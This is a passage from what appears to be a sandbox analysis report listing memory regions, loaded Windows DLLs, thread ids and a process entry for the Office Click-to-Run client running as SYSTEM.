	        filename = ""

Region:
	              id = 2697
	        start_va = 0x11d0000
	          end_va = 0x11d3fff
	     entry_point = 0x11d0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2698
	        start_va = 0x11e0000
	          end_va = 0x11e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000011e0000"
	        filename = ""

Region:
	              id = 2699
	        start_va = 0x11f0000
	          end_va = 0x11f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000011f0000"
	        filename = ""

Region:
	              id = 2700
	        start_va = 0x1550000
	          end_va = 0x164ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001550000"
	        filename = ""

Region:
	              id = 2701
	        start_va = 0x1650000
	          end_va = 0x170ffff
	     entry_point = 0x1650000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2702
	        start_va = 0x1750000
	          end_va = 0x175ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001750000"
	        filename = ""

Region:
	              id = 2703
	        start_va = 0x1780000
	          end_va = 0x187ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001780000"
	        filename = ""

Region:
	              id = 2704
	        start_va = 0x1950000
	          end_va = 0x1a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001950000"
	        filename = ""

Region:
	              id = 2705
	        start_va = 0x1ae0000
	          end_va = 0x1bdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ae0000"
	        filename = ""

Region:
	              id = 2706
	        start_va = 0x1d10000
	          end_va = 0x1d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d10000"
	        filename = ""

Region:
	              id = 2707
	        start_va = 0x1d20000
	          end_va = 0x1e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d20000"
	        filename = ""

Region:
	              id = 2708
	        start_va = 0x1e20000
	          end_va = 0x2162fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e20000"
	        filename = ""

Region:
	              id = 2709
	        start_va = 0x2270000
	          end_va = 0x22effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002270000"
	        filename = ""

Region:
	              id = 2710
	        start_va = 0x2330000
	          end_va = 0x242ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002330000"
	        filename = ""

Region:
	              id = 2711
	        start_va = 0x24f0000
	          end_va = 0x25effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024f0000"
	        filename = ""

Region:
	              id = 2712
	        start_va = 0x2770000
	          end_va = 0x286ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002770000"
	        filename = ""

Region:
	              id = 2713
	        start_va = 0x2870000
	          end_va = 0x2a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002870000"
	        filename = ""

Region:
	              id = 2714
	        start_va = 0x77e10000
	          end_va = 0x77e12fff
	     entry_point = 0x77e10000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2715
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2716
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2717
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2718
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2719
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2720
	        start_va = 0x7fef8a90000
	          end_va = 0x7fef8aa8fff
	     entry_point = 0x7fef8a90000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2721
	        start_va = 0x7fef8ab0000
	          end_va = 0x7fef8ac4fff
	     entry_point = 0x7fef8ab0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2722
	        start_va = 0x7fef93b0000
	          end_va = 0x7fef93b8fff
	     entry_point = 0x7fef93b0000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2723
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2724
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2725
	        start_va = 0x7fefa530000
	          end_va = 0x7fefa74cfff
	     entry_point = 0x7fefa530000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2726
	        start_va = 0x7fefb590000
	          end_va = 0x7fefb59afff
	     entry_point = 0x7fefb590000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2727
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2728
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2729
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2730
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2731
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2732
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2733
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2734
	        start_va = 0x7fefcb80000
	          end_va = 0x7fefcbabfff
	     entry_point = 0x7fefcb80000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2735
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2736
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2737
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2738
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2739
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2740
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2741
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2742
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2743
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2744
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2745
	        start_va = 0x7fefee80000
	          end_va = 0x7feff0d8fff
	     entry_point = 0x7fefee80000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2746
	        start_va = 0x7feff6e0000
	          end_va = 0x7feff857fff
	     entry_point = 0x7feff6e0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2747
	        start_va = 0x7feff870000
	          end_va = 0x7feff999fff
	     entry_point = 0x7feff870000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2748
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2749
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2750
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2751
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2752
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2753
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2754
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2755
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2756
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2757
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""


Thread:
	id = 160
	os_tid = 0x828


Thread:
	id = 220
	os_tid = 0x5e0


Thread:
	id = 222
	os_tid = 0x5cc


Thread:
	id = 223
	os_tid = 0x714


Thread:
	id = 224
	os_tid = 0x754


Thread:
	id = 227
	os_tid = 0x730


Thread:
	id = 229
	os_tid = 0x2b0


Thread:
	id = 231
	os_tid = 0x7dc


Thread:
	id = 236
	os_tid = 0x7e8


Thread:
	id = 237
	os_tid = 0x460


Thread:
	id = 238
	os_tid = 0x6e4


Thread:
	id = 248
	os_tid = 0xb6c


Thread:
	id = 249
	os_tid = 0xa94


Thread:
	id = 252
	os_tid = 0xbe0


Thread:
	id = 255
	os_tid = 0xbf0


Process:
	id = "20"
	image_name = "officec2rclient.exe"
	filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"
	page_root = "0x7a569000"
	os_pid = "0x508"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "17"
	os_parent_pid = "0xc0"
	cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1997
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1998
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1999
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2000
	        start_va = 0xd0000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2001
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2002
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2003
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2004
	        start_va = 0x13f5f0000
	          end_va = 0x140632fff
	     entry_point = 0x13f5f0000
	     region_type = mapped_file
	            name = "officec2rclient.exe"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")

Region:
	              id = 2005
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2006
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2007
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 2008
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2112
	        start_va = 0x220000
	          end_va = 0x31ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 2113
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2114
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2234
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2235
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2236
	        start_va = 0x3c0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 2237
	        start_va = 0x3d0000
	          end_va = 0x4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 2238
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2239
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2240
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2241
	        start_va = 0x7fee5590000
	          end_va = 0x7fee55b6fff
	     entry_point = 0x7fee5590000
	     region_type = mapped_file
	            name = "sppc.dll"
	        filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll")

Region:
	              id = 2242
	        start_va = 0x7fee5a30000
	          end_va = 0x7fee5a80fff
	     entry_point = 0x7fee5a30000
	     region_type = mapped_file
	            name = "concrt140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")

Region:
	              id = 2243
	        start_va = 0x7fee6780000
	          end_va = 0x7fee679dfff
	     entry_point = 0x7fee6780000
	     region_type = mapped_file
	            name = "hlink.dll"
	        filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll")

Region:
	              id = 2244
	        start_va = 0x7fef7a40000
	          end_va = 0x7fef7ab5fff
	     entry_point = 0x7fef7a40000
	     region_type = mapped_file
	            name = "apiclient.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")

Region:
	              id = 2245
	        start_va = 0x7fef7b00000
	          end_va = 0x7fef7b02fff
	     entry_point = 0x7fef7b00000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2246
	        start_va = 0x7fef7b10000
	          end_va = 0x7fef7b12fff
	     entry_point = 0x7fef7b10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2247
	        start_va = 0x7fef7b20000
	          end_va = 0x7fef7b22fff
	     entry_point = 0x7fef7b20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2248
	        start_va = 0x7fef7b30000
	          end_va = 0x7fef7b32fff
	     entry_point = 0x7fef7b30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2249
	        start_va = 0x7fef7b40000
	          end_va = 0x7fef7b44fff
	     entry_point = 0x7fef7b40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2250
	        start_va = 0x7fef7b50000
	          end_va = 0x7fef7b54fff
	     entry_point = 0x7fef7b50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2251
	        start_va = 0x7fef7b60000
	          end_va = 0x7fef7b62fff
	     entry_point = 0x7fef7b60000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2252
	        start_va = 0x7fef7b70000
	          end_va = 0x7fef7c0cfff
	     entry_point = 0x7fef7b70000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")

Region:
	              id = 2253
	        start_va = 0x7fef7c10000
	          end_va = 0x7fef7c13fff
	     entry_point = 0x7fef7c10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2254
	        start_va = 0x7fef7c20000
	          end_va = 0x7fef7c23fff
	     entry_point = 0x7fef7c20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2255
	        start_va = 0x7fef7c30000
	          end_va = 0x7fef7c32fff
	     entry_point = 0x7fef7c30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2256
	        start_va = 0x7fef7c40000
	          end_va = 0x7fef7c43fff
	     entry_point = 0x7fef7c40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2257
	        start_va = 0x7fef7c50000
	          end_va = 0x7fef7c52fff
	     entry_point = 0x7fef7c50000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2258
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7c62fff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
